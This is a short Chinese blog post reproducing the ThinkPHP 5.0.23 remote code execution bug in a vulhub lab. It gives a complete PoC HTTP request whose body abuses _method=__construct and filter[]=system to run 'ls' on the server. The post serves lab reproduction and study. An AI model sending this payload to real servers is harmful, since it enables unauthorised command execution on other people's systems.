thinkphp5.0.23 远程代码执行复现
2022-07-28 14:14:58
138
{{single.collect_count}}

漏洞影响版本5.0.23之前的版本

我使用的是vulhub下提供的漏洞环境,如何使用自行百度谷歌。

装好后打开网站如下

 

使用如下poc,即可实现远程代码执行

POST /index.php?s=captcha HTTP/1.1Host: 你的idUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 72Connection: keep-aliveUpgrade-Insecure-Requests: 1_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

效果如下

回帖
全部回帖({{commentCount}})
{{item.user.nickname}} {{item.user.group_title}} {{item.friend_time}}
{{item.content}}
{{item.comment_content_show ? '取消' : '回复'}} 删除
回帖
{{reply.user.nickname}} {{reply.user.group_title}} {{reply.friend_time}}
{{reply.content}}
{{reply.comment_content_show ? '取消' : '回复'}} 删除
回帖
收起
没有更多啦~
{{commentLoading ? '加载中...' : '查看更多评论'}}